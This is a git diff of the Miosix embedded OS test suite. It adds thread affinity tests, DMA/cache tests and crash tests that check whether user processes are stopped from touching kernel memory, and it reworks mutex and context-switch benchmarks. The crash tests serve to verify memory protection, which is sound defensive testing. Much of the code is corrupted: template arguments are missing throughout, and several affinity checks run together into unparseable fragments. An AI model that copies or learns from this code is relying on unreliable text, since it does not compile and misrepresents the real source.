reinterpret_cast(&data),Thread::JOINABLE); data.producer.wait(); } for(int i=0; i<3; i++) data.consumer.signal(); @@ -3991,18 +4259,78 @@ static void test_27() pass(); } -#if defined(_ARCH_CORTEXM7_STM32F7) || defined(_ARCH_CORTEXM7_STM32H7) -static Thread *waiting=nullptr; /// Thread waiting on DMA completion IRQ +#if defined(WITH_SMP) && defined(WITH_THREAD_AFFINITY) -/** - * DMA completion IRQ - */ -void __attribute__((naked)) DMA2_Stream0_IRQHandler() +void t28_t1(int core,int priority) +{ + #ifndef SCHED_TYPE_EDF + Thread::setPriority(priority); + #endif //SCHED_TYPE_EDF + Thread *t=Thread::getCurrentThread(); + if(t->getAffinity()!=unrestrictedAffinityMask) fail("getAffinity"); + if(t->setAffinity(0)==true) fail("setAffinity 1"); + if(t->setAffinity(1<getAffinity()!=1<getAffinity()!=1<getAffinity()!=1<getAffinity()!=1<setAffinity(unrestrictedAffinityMask)==false) fail("setAffinity 6"); + if(t->getAffinity()!=unrestrictedAffinityMask) fail("getAffinity"); +} + +void t28_t2(list *threads) +{ + //Roughly wait until the threads get to the wait() part of the test + Thread::sleep(100); + //Wake threads up + while(!Thread::testTerminate()) + { + Thread::sleep(5); + for(auto& t : *threads) + reinterpret_cast(t.native_handle())->wakeup(); + } +} + +static void test_28() { - saveContext(); - asm volatile("bl _Z9dma2s0irqv"); - restoreContext(); + test_name("Thread/core affinity"); + #ifndef SCHED_TYPE_EDF + Thread::setPriority(2); + #endif //SCHED_TYPE_EDF + list threads; + thread waker(t28_t2,&threads); + //Priority 0 (if not EDF) + for(int i=0;i(waker.native_handle())->terminate(); + waker.join(); + #ifndef SCHED_TYPE_EDF + Thread::setPriority(0); + #endif //SCHED_TYPE_EDF + pass(); } +#endif //defined(WITH_SMP) && defined(WITH_THREAD_AFFINITY) + +#if defined(_CHIP_STM32F7) || defined(_CHIP_STM32H7) +static Thread *waiting=nullptr; /// Thread waiting on DMA completion IRQ /** * DMA completion IRQ actual implementation @@ -4011,8 +4339,6 @@ void dma2s0irq() { DMA2->LIFCR=0b111101; if(waiting) waiting->IRQwakeup(); - if(waiting->IRQgetPriority()>Thread::IRQgetCurrentThread()->IRQgetPriority()) - Scheduler::IRQfindNextThread(); waiting=nullptr; } @@ -4024,7 +4350,7 @@ void dmaMemcpy(void *dest, const void *source, int size, void *slackAfterDest, void *slackAfterSource, int slackAfterSize ) { - FastInterruptDisableLock dLock; + FastGlobalIrqLock dLock; DMA2_Stream0->NDTR=size; DMA2_Stream0->PAR=reinterpret_cast(source); DMA2_Stream0->M0AR=reinterpret_cast(dest); @@ -4041,12 +4367,11 @@ void dmaMemcpy(void *dest, const void *source, int size, if(slackAfterSize) memcpy(slackAfterDest,slackAfterSource,slackAfterSize); waiting=Thread::IRQgetCurrentThread(); do { - FastInterruptEnableLock eLock(dLock); + FastGlobalIrqUnlock eLock(dLock); Thread::yield(); } while(waiting); } -static const unsigned int cacheLine=32; //Cortex-M7 cache line size static const unsigned int bufferSize=4096; static char __attribute__((aligned(32))) src[bufferSize]; static char __attribute__((aligned(32))) dst[bufferSize]; @@ -4110,11 +4435,10 @@ void testCacheAndDMA() { test_name("STM32 cache/DMA"); { - FastInterruptDisableLock dLock; + GlobalIrqLock dLock; RCC->AHB1ENR |= RCC_AHB1ENR_DMA2EN; RCC_SYNC(); - NVIC_SetPriority(DMA2_Stream0_IRQn,15);//Lowest priority for serial - NVIC_EnableIRQ(DMA2_Stream0_IRQn); + IRQregisterIrq(dLock,DMA2_Stream0_IRQn,dma2s0irq); } //Testing cache-aligned transactions @@ -4157,9 +4481,14 @@ void testCacheAndDMA() testOneDmaTransaction(size,offset); } } + + { + GlobalIrqLock dLock; + IRQunregisterIrq(dLock,DMA2_Stream0_IRQn,dma2s0irq); + } pass(); } -#endif //_ARCH_CORTEXM7_STM32F7/H7 +#endif //_CHIP_STM32F7/H7 // // Kercalls test (in a separate file, shared with syscalls) @@ -4176,8 +4505,105 @@ void test_syscalls_process() ledOn(); const char *arg[] = { "/bin/test_process", nullptr }; int exitcode=spawnAndWait(arg); - if(exitcode!=0) fail("test process has exited with a non-zero exit code"); + if(!WIFEXITED(exitcode)) fail("spawnAndWait process returned due to error"); + if(WEXITSTATUS(exitcode)!=0) fail("test process has exited with a non-zero exit code"); + ledOff(); +} + +// +// Crash test (executed in a separate process) +// + +enum class ExpectedFailure +{ + MustSegfault, //Process must segfault, test failed in any other case + MustExit0, //Process must exit(0, test failed in any other case + CanSegfault //Process can segfault, test failed if the kernel crashes +}; + +void runCrash(const string& arg1, const string& arg2="", + ExpectedFailure ef=ExpectedFailure::MustSegfault) +{ + const char *arg[] = + { + "/bin/test_crash", + arg1.c_str(), + arg2.empty() ? nullptr : arg2.c_str(), + nullptr + }; + putchar('>'); + for(int i=0; arg[i]!=nullptr; i++) iprintf(" %s",arg[i]); + putchar('\n'); + int exitcode=spawnAndWait(arg); + switch(ef) + { + case ExpectedFailure::MustSegfault: + if(WIFEXITED(exitcode)) fail("test process did not crash"); + break; + case ExpectedFailure::MustExit0: + if(!WIFEXITED(exitcode) || WEXITSTATUS(exitcode)!=0) + fail("test process did not exit(0)"); + default: break; + } +} + +template +std::string ptr(T val) +{ + char result[16]; + sniprintf(result,16,"0x%x",reinterpret_cast(val)); + //puts(result); + return result; +} + +void test_crash_process() +{ + ledOn(); + int i=1234; + #if defined(__MPU_PRESENT) && __MPU_PRESENT==1 + runCrash("z","",ExpectedFailure::CanSegfault); //Does not crash if the CPU has no HW divider + runCrash("l","",ExpectedFailure::CanSegfault); //It's ok if this one does not end in a crash + runCrash("b"); //This test only passes if a debugger is NOT connected + runCrash("r","0"); //Read nullptr + runCrash("r",ptr(&i)); //Read kernel data + runCrash("r","0xf0000000"); //Read invalid address + runCrash("w","0"); //Write nullptr + runCrash("w",ptr(&i)); //Write kernel data + runCrash("w","0xf0000000"); //Write invalid address + #else + puts("\nArchitecture lacks memory protection, most tests skipped"); + #endif + //Syscall validation does not depend on MPU, always run those tests + runCrash("R","0",ExpectedFailure::MustExit0); //Read nullptr + runCrash("R",ptr(&i),ExpectedFailure::MustExit0); //Read kernel data + runCrash("R","0xf0000000",ExpectedFailure::MustExit0); //Read invalid address + runCrash("W","0",ExpectedFailure::MustExit0); //Write nullptr + runCrash("W",ptr(&i),ExpectedFailure::MustExit0); //Write kernel data + runCrash("W","0xf0000000",ExpectedFailure::MustExit0); //Write invalid address + #if defined(__MPU_PRESENT) && __MPU_PRESENT==1 + runCrash("x","0"); //Execute nullptr + runCrash("x","1"); //Execute nullptr (thumb bit set) + runCrash("x",ptr(reinterpret_cast(&puts)-1)); //Execute kernel code + runCrash("x",ptr(&puts)); //Execute kernel code (thunb bit set) + runCrash("x","0xf0000000"); //Execute invalid address + runCrash("x","0xf0000001"); //Execute invalid address (thumb bit set) + runCrash("e"); + runCrash("i"); + runCrash("s","0"); //Set stack to nullptr + runCrash("s","1"); //Set stack to nullptr (unaligned) + runCrash("s",ptr(&i)); //Set stack to kernel mem + runCrash("s",ptr(reinterpret_cast(&i)-1)); //Set stack to kernel mem (unaligned) + runCrash("s","0xf0000000"); //Set stack to invalid address + runCrash("s","0xf0000000"); //Set stack to invalid address (unaligned) + runCrash("o"); + runCrash("u"); + runCrash("m","0"); //Usage fault with stack to nullptr + runCrash("-"); + runCrash("+"); + #endif + if(i!=1234) fail("Kernel memory was modified"); ledOff(); + puts("\nKernel did not crash, all good"); } // @@ -4191,52 +4617,74 @@ bool flags[nThreads]; static int throwable(std::vector& v) __attribute__((noinline)); static int throwable(std::vector& v) { - return v.at(10); + return v.at(10); } static void test(void *argv) { - const int n=reinterpret_cast(argv); - for(;;) - { - try { - std::vector v; - v.push_back(10); - throwable(v); + const int n=reinterpret_cast(argv); + for(;;) + { + try { + std::vector v; + v.push_back(10); + throwable(v); fail("Exception not thrown"); - } catch(std::out_of_range& e) - { - flags[n]=true; - } - } + } catch(std::out_of_range& e) + { + flags[n]=true; + } + } } static void exception_test() { test_name("C++ exception thread safety"); iprintf("Note: test never ends. Reset the board when you are satisfied\n"); - for(int i=0;i(i)); - bool toggle=false; - for(int j=0;;j++) - { - Thread::sleep(200); - if(toggle) ledOn(); else ledOff(); - toggle^=1; - bool failed=false; - { - PauseKernelLock dLock; - for(int i=0;i(i),Thread::DETACHED); + if(!thd) fail("Thread creation failed"); + } + bool toggle=false; + for(int j=0;;j++) + { + Thread::sleep(200); + if(toggle) ledOn(); else ledOff(); + toggle^=1; + bool failed=false; + bool flagsCopy[nThreads]; + { + PauseKernelLock dLock; + for(int i=0;i(&_data); memDump(data,2048); - auto d=system_clock::now()-t; + int d=(getTime()-t)/1000000LL; //every line dumps 16 bytes, and is 81 char long (considering \r\n) //so (2048/16)*81=10368 - iprintf("Time required to print 10368 char is %lldms\n", - duration_cast(d).count()); - unsigned int baudrate=10368*10000/duration_cast(d).count(); + iprintf("Time required to print 10368 char is %dms\n",d); + unsigned int baudrate=10368*10000/d; iprintf("Effective baud rate =%u\n",baudrate); } @@ -4285,31 +4731,30 @@ static void b2_p1(void *argv) } } -static int b2_f1(int priority) +static int b2_f1(Priority priority) { Thread::setPriority(priority); b2_v1=false; b2_v2=0; - Thread *t1=Thread::create(b2_p1,STACK_SMALL,priority,NULL,Thread::JOINABLE); - Thread *t2=Thread::create(b2_p1,STACK_SMALL,priority,NULL,Thread::JOINABLE); + Thread *t1=Thread::create(b2_p1,STACK_SMALL,priority,nullptr,Thread::JOINABLE); b2_v1=true; //Start counting Thread::sleep(1000); b2_v1=false; //Stop counting t1->terminate(); - t2->terminate(); t1->join(); - t2->join(); + Thread::setPriority(0); return b2_v2; } static void benchmark_2() { - #ifndef SCHED_TYPE_EDF - iprintf("%d context switch per second (max priority)\n",b2_f1(3)); + CHECK_AVAIL_HEAP(EST_THREAD_HEAP_USAGE(STACK_SMALL)*2); + #ifdef SCHED_TYPE_PRIORITY + iprintf("%d context switch per second (max priority)\n",b2_f1(NUM_PRIORITIES-1)); iprintf("%d context switch per second (min priority)\n",b2_f1(0)); - #else //SCHED_TYPE_EDF - iprintf("Context switch benchmark not possible with EDF\n"); - #endif //SCHED_TYPE_EDF + #else //SCHED_TYPE_PRIORITY + iprintf("%d context switch per second\n",b2_f1(DEFAULT_PRIORITY)); + #endif //SCHED_TYPE_PRIORITY } // @@ -4323,7 +4768,7 @@ makes a 1MB file and measures time required to read/write it. static void benchmark_3() { - using namespace std::chrono; + CHECK_AVAIL_HEAP(2048); //Write benchmark const char FILENAME[]="/sd/speed.txt"; const unsigned int BUFSIZE=1024; @@ -4338,22 +4783,22 @@ static void benchmark_3() } setbuf(f,NULL); int i,max=0; - auto total=system_clock::now(); + auto total=getTime(); for(i=0;i<1024;i++) { - auto part=system_clock::now(); + auto part=getTime(); if(fwrite(buf,1,BUFSIZE,f)!=BUFSIZE) { iprintf("Write error\n"); break; } - auto d=system_clock::now()-part; - max=std::max(max,static_cast(duration_cast(d).count())); + auto d=getTime()-part; + max=std::max(max,static_cast(d/1000000)); } - auto d=system_clock::now()-total; + auto d=getTime()-total; if(fclose(f)!=0) iprintf("Error in fclose 1\n"); iprintf("Filesystem write benchmark\n"); - unsigned int writeTime=duration_cast(d).count(); + unsigned int writeTime=d/1000000; unsigned int writeSpeed=static_cast(1024000.0/writeTime); iprintf("Total write time = %dms (%dKB/s)\n",writeTime,writeSpeed); iprintf("Max filesystem latency = %dms\n",max); @@ -4366,18 +4811,18 @@ static void benchmark_3() return; } setbuf(f,NULL); - total=system_clock::now(); + total=getTime(); for(i=0;i<1024;i++) { memset(buf,0,BUFSIZE); - auto part=system_clock::now(); + auto part=getTime(); if(fread(buf,1,BUFSIZE,f)!=BUFSIZE) { iprintf("Read error 1\n"); break; } - auto d=system_clock::now()-part; - max=std::max(max,static_cast(duration_cast(d).count())); + auto d=getTime()-part; + max=std::max(max,static_cast(d/1000000)); for(unsigned j=0;j(d).count(); + unsigned int readTime=d/1000000; unsigned int readSpeed=static_cast(1024000.0/readTime); iprintf("Total read time = %dms (%dKB/s)\n",readTime,readSpeed); iprintf("Max filesystem latency = %dms\n",max); @@ -4414,15 +4859,15 @@ void b4_t1(void *argv) static void benchmark_4() { + #ifndef SCHED_TYPE_EDF + Priority b4_t1_p=1; //Main priority is 0, use priority 1 for stop thread + #else //SCHED_TYPE_EDF + Thread::setPriority(1); + Priority b4_t1_p=0; //Main "deadline" set to 1, use "deadline" 0 for stop thread + #endif //SCHED_TYPE_EDF Mutex m; - pthread_mutex_t m1=PTHREAD_MUTEX_INITIALIZER; b4_end=false; - #ifndef SCHED_TYPE_EDF - Thread::create(b4_t1,STACK_SMALL); - #else - Thread::create(b4_t1,STACK_SMALL,0); - #endif - Thread::yield(); + Thread::create(b4_t1,STACK_SMALL,b4_t1_p,nullptr,Thread::DETACHED); int i=0; while(b4_end==false) { @@ -4430,69 +4875,103 @@ static void benchmark_4() m.unlock(); i++; } - iprintf("%d Mutex lock/unlock pairs per second\n",i); + iprintf("%10d Mutex lock/unlock pairs per second\n",i); + FastMutex fm; b4_end=false; - #ifndef SCHED_TYPE_EDF - Thread::create(b4_t1,STACK_SMALL); - #else - Thread::create(b4_t1,STACK_SMALL,0); - #endif - Thread::yield(); + Thread::create(b4_t1,STACK_SMALL,b4_t1_p,nullptr,Thread::DETACHED); i=0; while(b4_end==false) { - pthread_mutex_lock(&m1); - pthread_mutex_unlock(&m1); + fm.lock(); + fm.unlock(); i++; } - iprintf("%d pthread_mutex lock/unlock pairs per second\n",i); + iprintf("%10d FastMutex lock/unlock pairs per second\n",i); + pthread_mutex_t pm=PTHREAD_MUTEX_INITIALIZER; b4_end=false; - #ifndef SCHED_TYPE_EDF - Thread::create(b4_t1,STACK_SMALL); - #else - Thread::create(b4_t1,STACK_SMALL,0); - #endif - Thread::yield(); + Thread::create(b4_t1,STACK_SMALL,b4_t1_p,nullptr,Thread::DETACHED); i=0; while(b4_end==false) { - pauseKernel(); - restartKernel(); + pthread_mutex_lock(&pm); + pthread_mutex_unlock(&pm); i++; } - iprintf("%d pause/restart kernel pairs per second\n",i); + iprintf("%10d pthread_mutex lock/unlock pairs per second ",i); + switch(pthreadMutexProtocolOverride) + { + case PthreadMutexProtocol::DYNAMIC: + puts("(protocol=DYNAMIC)"); break; + case PthreadMutexProtocol::FORCE_PRIO_INHERIT: + puts("(protocol=FORCE_PRIO_INHERIT)"); break; + case PthreadMutexProtocol::FORCE_PRIO_NONE: + puts("(protocol=FORCE_PRIO_NONE)"); break; + } b4_end=false; - #ifndef SCHED_TYPE_EDF - Thread::create(b4_t1,STACK_SMALL); - #else - Thread::create(b4_t1,STACK_SMALL,0); - #endif - Thread::yield(); + Thread::create(b4_t1,STACK_SMALL,b4_t1_p,nullptr,Thread::DETACHED); i=0; while(b4_end==false) { - disableInterrupts(); - enableInterrupts(); + { + PauseKernelLock lock; + asm volatile(""); + } i++; } - iprintf("%d disable/enable interrupts pairs per second\n",i); + iprintf("%10d PauseKernelLock lock/unlock pairs per second\n",i); b4_end=false; - #ifndef SCHED_TYPE_EDF - Thread::create(b4_t1,STACK_SMALL); - #else - Thread::create(b4_t1,STACK_SMALL,0); - #endif - Thread::yield(); + Thread::create(b4_t1,STACK_SMALL,b4_t1_p,nullptr,Thread::DETACHED); + i=0; + while(b4_end==false) + { + { + FastPauseKernelLock lock; + asm volatile(""); + } + i++; + } + iprintf("%10d FastPauseKernelLock lock/unlock pairs per second\n",i); + + + b4_end=false; + Thread::create(b4_t1,STACK_SMALL,b4_t1_p,nullptr,Thread::DETACHED); + i=0; + while(b4_end==false) + { + { + GlobalIrqLock lock; + asm volatile(""); + } + i++; + } + iprintf("%10d GlobalIrqLock lock/unlock pairs per second\n",i); + + b4_end=false; + Thread::create(b4_t1,STACK_SMALL,b4_t1_p,nullptr,Thread::DETACHED); i=0; while(b4_end==false) { - fastDisableInterrupts(); - fastEnableInterrupts(); + FastGlobalIrqLock::lock(); + FastGlobalIrqLock::unlock(); i++; } - iprintf("%d fast disable/enable interrupts pairs per second\n",i); + iprintf("%10d FastGlobalIrqLock lock/unlock pairs per second\n",i); + + b4_end=false; + Thread::create(b4_t1,STACK_SMALL,b4_t1_p,nullptr,Thread::DETACHED); + i=0; + while(b4_end==false) + { + fastDisableIrq(); + fastEnableIrq(); + i++; + } + iprintf("%10d enable/disable irq pairs per second\n",i); + #ifdef SCHED_TYPE_EDF + Thread::setPriority(0); //Restore priority + #endif //SCHED_TYPE_EDF } diff --git a/tools/testsuite/testsuite_romfs/.keep b/tools/testsuite/testsuite_romfs/.keep new file mode 100644 index 000000000..e69de29bb diff --git a/miosix/_tools/udev-rules/49-mp3v2-bootloader.rules b/tools/udev-rules/49-mp3v2-bootloader.rules similarity index 100% rename from miosix/_tools/udev-rules/49-mp3v2-bootloader.rules rename to tools/udev-rules/49-mp3v2-bootloader.rules diff --git a/miosix/_tools/udev-rules/49-olimex-arm-usb-ocd.rules b/tools/udev-rules/49-olimex-arm-usb-ocd.rules similarity index 100% rename from miosix/_tools/udev-rules/49-olimex-arm-usb-ocd.rules rename to tools/udev-rules/49-olimex-arm-usb-ocd.rules diff --git a/miosix/_tools/udev-rules/49-sony-newman-dfu.rules b/tools/udev-rules/49-sony-newman-dfu.rules similarity index 100% rename from miosix/_tools/udev-rules/49-sony-newman-dfu.rules rename to tools/udev-rules/49-sony-newman-dfu.rules